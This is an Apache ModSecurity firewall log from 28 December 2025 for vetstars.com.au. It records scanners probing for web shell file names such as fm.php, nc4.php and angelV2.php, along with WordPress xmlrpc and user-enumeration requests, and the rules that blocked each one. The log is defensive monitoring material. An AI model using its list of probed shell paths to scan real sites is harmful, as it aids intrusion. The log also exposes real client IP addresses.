[Sun Dec 28 19:09:32.435035 2025] [:error] [pid 43789:tid 43797] [client 4.196.149.150:15155] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVEP7Aa-tUppni4CcCYnmAAAAQY"]
[Sun Dec 28 19:09:32.561425 2025] [:error] [pid 29436:tid 29441] [client 4.196.149.150:14980] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVEP7LchzOOtNL9VPNLdwAAAAYI"]
[Sun Dec 28 19:09:32.743668 2025] [:error] [pid 42293:tid 42333] [client 4.196.149.150:15089] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVEP7Mvc9B-5cwN385LZiAAAAEo"]
[Sun Dec 28 19:09:33.184117 2025] [:error] [pid 42378:tid 42381] [client 4.196.149.150:15132] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVEP7TgtcN-KHAjWrX8OzAAAAME"]
[Sun Dec 28 19:09:34.077931 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:17705] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVEP7svc9B-5cwN385LZigAAAFM"]
[Sun Dec 28 19:09:34.463312 2025] [:error] [pid 42294:tid 42359] [client 4.196.149.150:15103] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVEP7tTE5kYcYCOzl9G0BQAAAIk"]
[Sun Dec 28 19:09:34.644515 2025] [:error] [pid 42293:tid 42327] [client 4.196.149.150:15072] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVEP7svc9B-5cwN385LZiwAAAEQ"]
[Sun Dec 28 19:09:34.907208 2025] [:error] [pid 29436:tid 29451] [client 4.196.149.150:14913] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVEP7rchzOOtNL9VPNLdxQAAAYw"]
[Sun Dec 28 19:09:35.054335 2025] [:error] [pid 29436:tid 29450] [client 4.196.149.150:15061] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVEP77chzOOtNL9VPNLdxwAAAYs"]
[Sun Dec 28 19:09:35.249546 2025] [:error] [pid 42293:tid 42337] [client 4.196.149.150:15098] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVEP78vc9B-5cwN385LZjAAAAE4"]
[Sun Dec 28 19:09:35.477832 2025] [:error] [pid 29388:tid 29419] [client 4.196.149.150:14944] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVEP79oLv2L2zI_SpdXTlwAAAVc"]
[Sun Dec 28 19:09:35.639646 2025] [:error] [pid 42293:tid 42339] [client 4.196.149.150:15080] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVEP78vc9B-5cwN385LZlAAAAFA"]
[Sun Dec 28 19:09:35.733608 2025] [:error] [pid 42293:tid 42329] [client 4.196.149.150:15124] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVEP78vc9B-5cwN385LZlQAAAEY"]
[Sun Dec 28 19:09:35.898283 2025] [:error] [pid 43789:tid 43810] [client 4.196.149.150:15154] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVEP7wa-tUppni4CcCYnoAAAARM"]
[Sun Dec 28 19:09:36.209752 2025] [:error] [pid 42293:tid 42323] [client 4.196.149.150:15008] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVEP8Mvc9B-5cwN385LZnwAAAEA"]
[Sun Dec 28 19:09:36.620715 2025] [:error] [pid 29436:tid 29461] [client 4.196.149.150:15078] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVEP8LchzOOtNL9VPNLd1QAAAZY"]
[Sun Dec 28 19:09:37.024664 2025] [:error] [pid 29436:tid 29447] [client 4.196.149.150:15141] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVEP8bchzOOtNL9VPNLd2wAAAYg"]
[Sun Dec 28 19:09:37.138183 2025] [:error] [pid 43789:tid 43815] [client 4.196.149.150:14937] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVEP8Qa-tUppni4CcCYnogAAARg"]
[Sun Dec 28 19:09:37.289707 2025] [:error] [pid 29437:tid 29472] [client 4.196.149.150:15149] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVEP8RhDotAbVk6pZLe2lgAAAcY"]
[Sun Dec 28 19:09:37.389432 2025] [:error] [pid 42294:tid 42353] [client 4.196.149.150:15000] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVEP8dTE5kYcYCOzl9G0DwAAAIM"]
[Sun Dec 28 19:09:37.564197 2025] [:error] [pid 29436:tid 29445] [client 4.196.149.150:15184] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVEP8bchzOOtNL9VPNLd4QAAAYY"]
[Sun Dec 28 19:09:37.899033 2025] [:error] [pid 43789:tid 43806] [client 4.196.149.150:15100] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVEP8Qa-tUppni4CcCYnowAAAQ8"]
[Sun Dec 28 19:09:38.209424 2025] [:error] [pid 43789:tid 43795] [client 4.196.149.150:15099] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVEP8ga-tUppni4CcCYnpAAAAQQ"]
[Sun Dec 28 19:09:38.380938 2025] [:error] [pid 42292:tid 42298] [client 4.196.149.150:15096] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVEP8pyOrM_vaFx1osY_9AAAAAI"]
[Sun Dec 28 19:09:38.572076 2025] [:error] [pid 42294:tid 42366] [client 4.196.149.150:15082] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVEP8tTE5kYcYCOzl9G0EAAAAJA"]
[Sun Dec 28 19:09:38.778284 2025] [:error] [pid 42292:tid 42316] [client 4.196.149.150:15055] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aVEP8pyOrM_vaFx1osY_9QAAABQ"]
[Sun Dec 28 19:09:38.870814 2025] [:error] [pid 42294:tid 42352] [client 4.196.149.150:15031] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVEP8tTE5kYcYCOzl9G0EgAAAII"]
[Sun Dec 28 19:09:39.084959 2025] [:error] [pid 42293:tid 42323] [client 4.196.149.150:15059] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVEP88vc9B-5cwN385LZtQAAAEA"]
[Sun Dec 28 19:09:39.514109 2025] [:error] [pid 42293:tid 42337] [client 4.196.149.150:15047] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVEP88vc9B-5cwN385LZuAAAAE4"]
[Sun Dec 28 19:09:39.727676 2025] [:error] [pid 29388:tid 29415] [client 4.196.149.150:15053] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aVEP89oLv2L2zI_SpdXToAAAAVM"]
[Sun Dec 28 19:09:40.083849 2025] [:error] [pid 42293:tid 42335] [client 4.196.149.150:15085] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVEP9Mvc9B-5cwN385LZwQAAAEw"]
[Sun Dec 28 19:09:40.302319 2025] [:error] [pid 42378:tid 42385] [client 4.196.149.150:14953] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVEP9DgtcN-KHAjWrX8O1wAAAMU"]
[Sun Dec 28 19:09:40.409184 2025] [:error] [pid 29388:tid 29414] [client 4.196.149.150:14951] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVEP9NoLv2L2zI_SpdXTogAAAVI"]
[Sun Dec 28 19:09:40.708680 2025] [:error] [pid 29437:tid 29489] [client 4.196.149.150:15002] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aVEP9BhDotAbVk6pZLe2mQAAAdc"]
[Sun Dec 28 19:09:40.821997 2025] [:error] [pid 42294:tid 42363] [client 4.196.149.150:15073] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVEP9NTE5kYcYCOzl9G0GgAAAI0"]
[Sun Dec 28 19:09:40.989677 2025] [:error] [pid 29437:tid 29473] [client 4.196.149.150:15086] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVEP9BhDotAbVk6pZLe2mwAAAcc"]
[Sun Dec 28 19:09:41.200798 2025] [:error] [pid 42292:tid 42318] [client 4.196.149.150:15037] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVEP9ZyOrM_vaFx1osY_9gAAABY"]
[Sun Dec 28 19:09:41.406316 2025] [:error] [pid 42292:tid 42303] [client 4.196.149.150:15012] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aVEP9ZyOrM_vaFx1osY_9wAAAAc"]
[Sun Dec 28 19:09:41.624904 2025] [:error] [pid 29436:tid 29461] [client 4.196.149.150:15152] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVEP9bchzOOtNL9VPNLd9AAAAZY"]
[Sun Dec 28 19:09:41.959062 2025] [:error] [pid 42294:tid 42350] [client 4.196.149.150:14986] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVEP9dTE5kYcYCOzl9G0HAAAAIA"]
[Sun Dec 28 19:09:42.122829 2025] [:error] [pid 29388:tid 29403] [client 4.196.149.150:15088] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVEP9toLv2L2zI_SpdXTpQAAAUc"]
[Sun Dec 28 19:09:42.224427 2025] [:error] [pid 29436:tid 29443] [client 4.196.149.150:15091] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aVEP9rchzOOtNL9VPNLd9QAAAYQ"]
[Sun Dec 28 19:09:42.337843 2025] [:error] [pid 42292:tid 42320] [client 4.196.149.150:15074] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVEP9pyOrM_vaFx1osY_-QAAABg"]
[Sun Dec 28 19:09:42.493113 2025] [:error] [pid 29436:tid 29441] [client 4.196.149.150:14939] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVEP9rchzOOtNL9VPNLd9gAAAYI"]
[Sun Dec 28 19:09:42.616923 2025] [:error] [pid 42294:tid 42355] [client 4.196.149.150:14969] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVEP9tTE5kYcYCOzl9G0HQAAAIU"]
[Sun Dec 28 19:09:42.760464 2025] [:error] [pid 29436:tid 29442] [client 4.196.149.150:14917] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aVEP9rchzOOtNL9VPNLd9wAAAYM"]
[Sun Dec 28 19:09:42.982571 2025] [:error] [pid 29436:tid 29458] [client 4.196.149.150:14946] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVEP9rchzOOtNL9VPNLd-QAAAZM"]
[Sun Dec 28 19:09:43.252356 2025] [:error] [pid 42292:tid 42312] [client 4.196.149.150:15075] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVEP95yOrM_vaFx1osY__AAAABA"]
[Sun Dec 28 19:09:43.407744 2025] [:error] [pid 42378:tid 42394] [client 4.196.149.150:14990] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVEP9zgtcN-KHAjWrX8O2QAAAM4"]
[Sun Dec 28 19:09:43.735398 2025] [:error] [pid 42378:tid 42395] [client 4.196.149.150:14993] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aVEP9zgtcN-KHAjWrX8O2gAAAM8"]
[Sun Dec 28 19:39:39.686963 2025] [:error] [pid 43789:tid 43809] [client 34.26.203.68:60413] [client 34.26.203.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.203.68, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVEW-wa-tUppni4CcCYvzAAAARI"]
[Sun Dec 28 19:39:42.402444 2025] [:error] [pid 43789:tid 43792] [client 34.26.203.68:60413] [client 34.26.203.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVEW_ga-tUppni4CcCYv0QAAAQE"]
[Sun Dec 28 19:39:44.998713 2025] [:error] [pid 43789:tid 43807] [client 34.26.203.68:60413] [client 34.26.203.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.203.68, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVEXAAa-tUppni4CcCYv0wAAARA"]
[Sun Dec 28 21:14:53.214447 2025] [:error] [pid 29436:tid 29460] [client 74.225.139.234:19566] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aVEtTbchzOOtNL9VPNIP9wAAAZU"]
[Sun Dec 28 21:14:53.751954 2025] [:error] [pid 29436:tid 29457] [client 74.225.139.234:19464] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aVEtTbchzOOtNL9VPNIP-QAAAZI"]
[Sun Dec 28 21:14:54.340134 2025] [:error] [pid 42292:tid 42300] [client 74.225.139.234:19558] [client 74.225.139.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/oo.php"] [unique_id "aVEtTpyOrM_vaFx1osZcggAAAAQ"]
